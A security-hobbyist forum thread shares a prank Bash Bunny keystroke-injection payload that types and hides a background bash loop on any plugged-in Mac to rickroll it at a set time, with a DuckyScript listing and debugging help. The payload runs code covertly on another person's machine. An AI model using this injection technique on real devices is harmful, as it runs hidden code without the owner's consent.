Jump to content

[PAYLOAD] UnifiedRickRoll


jafahulo

Recommended Posts

In the spirit of April fools, I've thrown together a payload that will rick roll every device you plug into at a specified time. It types up a script in the terminal (which at the specified time will crank up the volume and rick roll the target), runs it, sends it to the background, and closes the terminal so that the process can sit until the trigger time.

 

Let me know if you'd like to see this do anything more!

 

https://github.com/hak5/bashbunny-payloads/pull/139

Edited by jafahulo
updated url
Link to comment
Share on other sites

  • 1 year later...

Any Idea why it's not working?

macOS 10.13.5, German

MacBook-Pro:~ Maximus$ hi=0; ho=$(date '+%H%M'); while test $hi == '0'; do if { $ho == 1 }; then osascript -e "set Volume 9" && open "https://www.youtube.com/watch?v=dQw4w9WgXcQ" ; hi=1; fi; ho=$(date '+%H%M'); sleep 1; done & disown
-bash: syntax error near unexpected token `then'

Added Language Setting to the Script:

ATTACKMODE HID VID_0X05AC PID_0X021E

DUCKY_LANG de

time=1

LED R 200

Q GUI SPACE
Q DELAY 200
Q STRING terminal
Q DELAY 100
Q ENTER
Q DELAY 1000
Q GUI n
Q DELAY 1000

Q STRING hi=0\; ho=\$\(date \'+%H%M\'\)\; while test \$hi == \'0\'\;  do    if [ \$ho == $time ]\;    then osascript -e \"set Volume 9\" \&\& open \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \;    hi=1\;    fi\;    ho=\$\(date \'+%H%M\'\)\; sleep 1\; done \& disown

# close up shop
Q DELAY 1000
Q ENTER
Q GUI W
Q ENTER

LED G

Kind Regards

Link to comment
Share on other sites

Hi Maximus,

At first glance it looks like your syntax error. The BB typed

if { $ho == 1 };

when it should be 

if [ $ho == 1 ];

I'm not sure why the BB didn't type that out correctly for the DE keyboard layout - I haven't played with keyboard settings much.

Unfortunately I can't test this script as I don't have an apple computer anymore, but if you figure out how to get the BB to type the right brackets with your keyboard layout then you should be golden.

Edited by jafahulo
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...